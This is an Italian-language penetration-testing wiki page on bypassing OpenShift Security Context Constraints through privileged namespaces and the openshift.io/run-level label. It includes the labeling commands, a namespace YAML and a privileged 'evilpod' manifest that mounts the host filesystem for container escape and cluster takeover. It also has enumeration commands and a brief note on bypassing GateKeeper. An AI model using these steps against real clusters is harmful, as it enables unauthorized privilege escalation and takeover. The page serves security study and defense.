# Openshift - SCC bypass

**L'autore originale di questa pagina è** [**Guillaume**](https://www.linkedin.com/in/guillaume-chapela-ab4b9a196)

## Namespaces Privilegiati

Per impostazione predefinita, SCC non si applica ai seguenti progetti:

- **default**
- **kube-system**
- **kube-public**
- **openshift-node**
- **openshift-infra**
- **openshift**

Se distribuisci pod all'interno di uno di questi namespaces, non verrà applicato alcun SCC, consentendo la distribuzione di pod privilegiati o il montaggio del file system host.

## Etichetta del Namespace

Esiste un modo per disabilitare l'applicazione di SCC sul tuo pod secondo la documentazione di RedHat. Dovrai avere almeno uno dei seguenti permessi:

- Creare un Namespace e Creare un Pod in questo Namespace
- Modificare un Namespace e Creare un Pod in questo Namespace
```bash
$ oc auth can-i create namespaces
yes

$ oc auth can-i patch namespaces
yes
```
L'etichetta specifica `openshift.io/run-level` consente agli utenti di eludere le SCC per le applicazioni. Secondo la documentazione di RedHat, quando questa etichetta è utilizzata, nessuna SCC è applicata a tutti i pod all'interno di quel namespace, rimuovendo effettivamente qualsiasi restrizione.

<figure><img src="../../../images/Openshift-RunLevel4.png" alt=""><figcaption></figcaption></figure>

## Aggiungi Etichetta

Per aggiungere l'etichetta nel tuo namespace :
```bash
$ oc label ns MYNAMESPACE openshift.io/run-level=0
```
Per creare un namespace con l'etichetta tramite un file YAML:
```yaml
apiVersion: v1
kind: Namespace
metadata:
name: evil
labels:
openshift.io/run-level: 0
```
Ora, tutti i nuovi pod creati nello spazio dei nomi non dovrebbero avere alcun SCC

<pre class="language-bash"><code class="lang-bash"><strong>$ oc get pod -o yaml | grep 'openshift.io/scc'
</strong><strong>$
</strong></code></pre>

In assenza di SCC, non ci sono restrizioni sulla definizione del tuo pod. Questo significa che un pod malevolo può essere facilmente creato per evadere sul sistema host.
```yaml
apiVersion: v1
kind: Pod
metadata:
name: evilpod
labels:
kubernetes.io/hostname: evilpod
spec:
hostNetwork: true #Bind pod network to the host network
hostPID: true #See host processes
hostIPC: true #Access host inter processes
containers:
- name: evil
image: MYIMAGE
imagePullPolicy: IfNotPresent
securityContext:
privileged: true
allowPrivilegeEscalation: true
resources:
limits:
memory: 200Mi
requests:
cpu: 30m
memory: 100Mi
volumeMounts:
- name: hostrootfs
mountPath: /mnt
volumes:
- name: hostrootfs
hostPath:
path:
```
Ora è diventato più facile elevare i privilegi per accedere al sistema host e successivamente prendere il controllo dell'intero cluster, ottenendo privilegi 'cluster-admin'. Cerca la parte **Node-Post Exploitation** nella seguente pagina:

{{#ref}}
../../kubernetes-security/attacking-kubernetes-from-inside-a-pod.md
{{#endref}}

### Etichette personalizzate

Inoltre, in base alla configurazione target, alcune etichette / annotazioni personalizzate possono essere utilizzate nello stesso modo dello scenario di attacco precedente. Anche se non è stato creato per, le etichette potrebbero essere utilizzate per concedere permessi, limitare o meno una risorsa specifica.

Cerca di individuare etichette personalizzate se puoi leggere alcune risorse. Ecco un elenco di risorse interessanti:

- Pod
- Deployment
- Namespace
- Service
- Route
```bash
$ oc get pod -o yaml | grep labels -A 5
$ oc get namespace -o yaml | grep labels -A 5
```
## Elenca tutti i namespace privilegiati
```bash
$ oc get project -o yaml | grep 'run-level' -b5
```
## Exploit avanzato

In OpenShift, come dimostrato in precedenza, avere il permesso di distribuire un pod in uno spazio dei nomi con l'etichetta `openshift.io/run-level` può portare a un takeover diretto del cluster. Dal punto di vista delle impostazioni del cluster, questa funzionalità **non può essere disabilitata**, poiché è intrinseca al design di OpenShift.

Tuttavia, misure di mitigazione come **Open Policy Agent GateKeeper** possono impedire agli utenti di impostare questa etichetta.

Per bypassare le regole di GateKeeper e impostare questa etichetta per eseguire un takeover del cluster, **gli attaccanti dovrebbero identificare metodi alternativi.**

## Riferimenti

- [https://docs.openshift.com/container-platform/4.8/authentication/managing-security-context-constraints.html](https://docs.openshift.com/container-platform/4.8/authentication/managing-security-context-constraints.html)
- [https://docs.openshift.com/container-platform/3.11/admin_guide/manage_scc.html](https://docs.openshift.com/container-platform/3.11/admin_guide/manage_scc.html)
- [https://github.com/open-policy-agent/gatekeeper](https://github.com/open-policy-agent/gatekeeper)